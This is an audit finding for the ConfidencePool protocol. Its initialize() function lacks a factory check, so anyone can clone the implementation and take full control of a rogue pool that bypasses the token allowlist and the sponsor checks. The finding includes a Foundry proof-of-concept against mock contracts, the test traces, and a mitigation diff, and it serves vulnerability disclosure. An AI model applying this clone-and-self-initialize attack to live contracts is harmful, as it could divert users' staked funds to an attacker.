Description
-
ConfidencePoolFactory.createPool is the intended, sole path to a legitimate pool: it checks the caller owns the referenced agreement and that the stake token is on an owner-curated allowlist, then clones the implementation and calls initialize() on it in the same transaction.
-
initialize() itself carries no restriction tying it to the factory — no msg.sender check, no stored factory reference. Because EIP-1167 clones run no constructor, anyone can read the public poolImplementation() getter, clone it independently, and call initialize() directly with self-chosen parameters, bypassing both of the factory's protections entirely.
constructor() Ownable(msg.sender) {
_disableInitializers();
}
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
if (agreement_ == address(0)) revert ZeroAddress();
if (stakeToken_ == address(0)) revert ZeroAddress();
...
if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
...
_transferOwnership(owner_);
}
Risk
Likelihood:
-
poolImplementation() is a public getter on the factory, and Clones.clone() is a plain, permissionless CREATE call available to any address — no privileged role, approval, or prior interaction with the protocol is needed to deploy a clone and call initialize() on it directly.
-
The rogue clone references a real, valid, on-chain agreement (validated the same way a legitimate pool's agreement is) and real in-scope BattleChain accounts, so it is indistinguishable in behavior and code from a legitimate pool to anyone who checks it superficially rather than checking factory provenance.
Impact:
-
The factory's two vetting protections — the allowedStakeToken allowlist and the IAgreement.owner() == msg.sender sponsor check — are fully bypassed for the rogue clone, so it can run against an unvetted, adversarial ERC20 while presenting itself as a normal confidence pool.
-
Anyone who stakes into the rogue clone instead of the canonical factory-tracked pool, or any downstream integration that trusts bytecode/behavior rather than the factory's own registry, loses funds to an address the outsider fully controls as owner, moderator, and recoveryAddress simultaneously.
Proof of Concept
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract PoC_InitializeMissingFactoryGuardTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal legitToken;
MockERC20 internal rogueToken;
MockSafeHarborRegistry internal registry;
ConfidencePool internal poolImplementation;
ConfidencePoolFactory internal factory;
MockAgreement internal agreement;
address internal agreementOwner = makeAddr("agreementOwner");
address internal defaultModerator = makeAddr("defaultModerator");
address internal recovery = makeAddr("recovery");
address internal outsider = makeAddr("outsider");
function setUp() public {
legitToken = new MockERC20();
rogueToken = new MockERC20();
registry = new MockSafeHarborRegistry();
poolImplementation = new ConfidencePool();
agreement = new MockAgreement(agreementOwner);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
registry.setAgreementValid(address(agreement), true);
ConfidencePoolFactory impl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(impl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), defaultModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(legitToken), true);
}
function _scope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = SCOPE_ACCOUNT;
}
function testPoC_RogueCloneBypassesFactoryVetting() external {
assertTrue(outsider != agreement.owner());
ConfidencePool rogue = ConfidencePool(Clones.clone(address(poolImplementation)));
rogue.initialize(
address(agreement),
address(rogueToken),
address(registry),
outsider,
block.timestamp + 31 days,
ONE,
outsider,
outsider,
_scope()
);
assertEq(rogue.owner(), outsider, "BUG: outsider fully owns a pool referencing the real agreement");
assertEq(rogue.outcomeModerator(), outsider, "BUG: outsider is sole moderator, can flag any outcome");
assertEq(rogue.recoveryAddress(), outsider, "BUG: outsider is the CORRUPTED-sweep destination");
assertEq(address(rogue.stakeToken()), address(rogueToken), "BUG: unvetted token, allowlist bypassed");
assertEq(
factory.poolCountByAgreement(address(agreement)), 0, "rogue clone bypassed factory bookkeeping entirely"
);
}
}
Run: forge test --match-path "test/InitializeMissingFactoryGuard.t.sol" -vvvv → PASS (gas: 367956)
No files changed, compilation skipped
Ran 1 test for test/unit/PoC_05_InitializeMissingFactoryGuard.t.sol:PoC_InitializeMissingFactoryGuardTest
[PASS] testPoC_RogueCloneBypassesFactoryVetting() (gas: 367956)
Traces:
[367956] PoC_InitializeMissingFactoryGuardTest::testPoC_RogueCloneBypassesFactoryVetting()
├─ [2265] MockAgreement::owner() [staticcall]
│ └─ ← [Return] agreementOwner: [0x6A5A9cEC1344DFe33Ab5Cf0b4555C2a06454D905]
├─ [9031] → new <unknown>@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
│ └─ ← [Return] 45 bytes of code
├─ [289124] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::initialize(MockAgreement: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockSafeHarborRegistry: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], 2678401 [2.678e6], 1000000000000000000 [1e18], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], [0x0000000000000000000000000000000000C0FFEE])
│ ├─ [286395] ConfidencePool::initialize(MockAgreement: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], MockSafeHarborRegistry: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], 2678401 [2.678e6], 1000000000000000000 [1e18], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4], [0x0000000000000000000000000000000000C0FFEE]) [delegatecall] // <-- succeeds: a non-factory caller fully initializes a rogue clone
│ │ ├─ [2410] MockSafeHarborRegistry::isAgreementValid(MockAgreement: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) [staticcall]
│ │ │ └─ ← [Return] true
│ │ ├─ [2440] MockAgreement::isContractInScope(0x0000000000000000000000000000000000C0FFEE) [staticcall]
│ │ │ └─ ← [Return] true
│ │ ├─ emit ScopeUpdated(accounts: [0x0000000000000000000000000000000000C0FFEE])
│ │ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4])
│ │ ├─ emit Initialized(version: 1)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [1295] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::owner() [staticcall]
│ ├─ [1129] ConfidencePool::owner() [delegatecall]
│ │ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4] // <-- attacker controls owner()
│ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4]
├─ [1472] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::outcomeModerator() [staticcall]
│ ├─ [1306] ConfidencePool::outcomeModerator() [delegatecall]
│ │ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4]
│ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4]
├─ [1054] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::recoveryAddress() [staticcall]
│ ├─ [888] ConfidencePool::recoveryAddress() [delegatecall]
│ │ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4]
│ └─ ← [Return] outsider: [0x6AB133Ce3481A06313b4e0B1bb810BCD670853a4]
├─ [856] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::stakeToken() [staticcall]
│ ├─ [690] ConfidencePool::stakeToken() [delegatecall]
│ │ └─ ← [Return] MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
│ └─ ← [Return] MockERC20: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
├─ [7331] ERC1967Proxy::fallback(MockAgreement: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) [staticcall]
│ ├─ [2521] ConfidencePoolFactory::poolCountByAgreement(MockAgreement: [0xc7183455a4C133Ae270771860664b6B7ec320bB1]) [delegatecall]
│ │ └─ ← [Return] 0 // <-- the real factory has ZERO record this pool exists
│ └─ ← [Return] 0
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.17ms (159.53µs CPU time)
Ran 1 test suite in 9.47ms (1.17ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Bind each implementation to its deploying factory via an immutable factory address set in the constructor, then check msg.sender == factory inside initialize(). Since EIP-1167 clones share the implementation's immutables via delegatecall, every clone inherits the same check for free — only the real ConfidencePoolFactory.createPool call path can ever successfully initialize a clone, closing off the direct-clone-and-self-initialize bypass entirely.
// src/ConfidencePool.sol
+ address public immutable factory;
+
- constructor() Ownable(msg.sender) {
+ constructor(address factory_) Ownable(msg.sender) {
+ factory = factory_;
_disableInitializers();
}
function initialize(
address agreement_,
...
) external initializer {
+ if (msg.sender != factory) revert NotFactory();
if (agreement_ == address(0)) revert ZeroAddress();
The factory_ constructor argument must be the deploying ConfidencePoolFactory's own address, which
Deploy.s.sol's current order can't supply (the implementation is deployed before the factory
proxy exists). The chicken-and-egg problem resolves cleanly by having the factory deploy its own
implementation, so msg.sender inside ConfidencePool's constructor is naturally the factory
contract itself — no address prediction needed:
// src/ConfidencePoolFactory.sol
+ function deployNewImplementation() external onlyOwner returns (address newImplementation) {
+ newImplementation = address(new ConfidencePool(address(this)));
+ poolImplementation = newImplementation;
+ emit PoolImplementationUpdated(poolImplementation, newImplementation);
+ }
// script/Deploy.s.sol
- implementation = address(new ConfidencePool());
-
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
bytes memory initData =
- abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, implementation, moderator));
+ abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, address(0), moderator));
factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
+ implementation = ConfidencePoolFactory(factoryProxy).deployNewImplementation();
(ConfidencePoolFactory.initialize's existing poolImplementation_ != address(0) check would need
loosening to allow the temporary zero value between proxy deployment and deployNewImplementation()
in the same broadcast, or deployNewImplementation() folded directly into initialize() as a
factory-side self-deploy step.)
